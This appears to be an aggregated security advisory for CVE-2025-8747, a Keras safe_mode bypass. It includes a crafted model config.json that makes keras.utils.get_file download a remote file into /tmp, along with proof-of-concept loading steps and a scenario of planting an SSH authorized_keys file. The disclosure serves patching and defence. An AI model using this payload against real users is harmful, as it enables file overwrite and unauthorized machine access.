Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality
High8.8CVE-2025-8747 · Published Aug 12, 2025 · updated Sep 10, 2026
### Summary It is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules. The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded). ### Impact | Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.| ### Details Keras’ [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “__lambda__” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 - ``` if config["class_name"] == "__lambda__": if safe_mode: raise ValueError( "Requested the deserialization of a `lambda` objec...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| keras PyPI | >= 3.0.0, < 3.11.0 | 3.11.0 |
Details and references
### Summary It is possible to bypass the mitigation introduced in response to [CVE-2025-1550](https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp), when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules. The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded). ### Impact | Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.| ### Details Keras’ [safe_mode](https://www.tensorflow.org/api_docs/python/tf/keras/models/load_model) flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “__lambda__” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 - ``` if config["class_name"] == "__lambda__": if safe_mode: raise ValueError( "Requested the deserialization of a `lambda` object. " "This carries a potential risk of arbitrary code execution " "and thus it is disallowed by default. If you trust the " "source of the saved model, you can pass `safe_mode=False` to " "the loading function in order to allow `lambda` loading, " "or call `keras.config.enable_unsafe_deserialization()`." ) ``` A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit [bb340d6780fdd6e115f2f4f78d8dbe374971c930](https://github.com/keras-team/keras/commit/bb340d6780fdd6e115f2f4f78d8dbe374971c930). ``` package = module.split(".", maxsplit=1)[0] if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}: ``` However, it is still possible to exploit model loading, for example by reusing the internal Keras function `keras.utils.get_file`, and download remote files to an attacker-controlled location. This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious `authorized_keys` file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine. Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (`keras`). #### Example The following truncated `config.json` will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local `/tmp` folder, by sending arbitrary arguments to Keras’ builtin function `keras.utils.get_file()` - ``` { "class_name": "Lambda", "config": { "arguments": { "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js", "cache_dir":"/tmp", "cache_subdir":"", "force_download": true}, "function": { "class_name": "function", "config": "get_file", "module": "keras.utils" } }, ``` ### PoC 1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory 2. Load the model - ``` from keras.models import load_model model = load_model("malicious_model_download.keras", safe_mode=True) ``` 3. Observe that a new file `index.js` was created in the `/tmp` directory ### Fix suggestions 1. Add an additional flag `
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-502
- Also known as
- CVE-2025-8747, PYSEC-2025-75
- github.com/keras-team/keras/security/advisories/GHSA-c9rc-mg46-23w3
- nvd.nist.gov/vuln/detail/CVE-2025-8747
- github.com/keras-team/keras/pull/21429
- github.com/keras-team/keras/commit/713172ab56b864e59e2aa79b1a51b0e728bba858
- github.com/keras-team/keras
- github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2025-75.yaml
- jfrog.com/blog/keras-safe_mode-bypass-vulnerability
More Keras advisories
All Keras| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Dec 22025 | Keras Directory Traversal Vulnerability | High9.8 | 3.12.0 |
| Oct 292025 | Keras is vulnerable to arbitrary local file loading and Server-Side Request Forgery | Medium | 3.12.0 |
| Oct 172025 | Keras framework vulnerable to deserialization of untrusted data | Critical9.8 | 3.11.3 |
| Sep 192025 | Keras: code execution | High | 3.11.3 |
| Sep 192025 | Keras is vulnerable to Deserialization of Untrusted Data | High7.3 | 3.11.0 |
| Mar 112025 | Arbitrary Code Execution via Crafted Keras Config for Model Loading | High | 3.9.0 |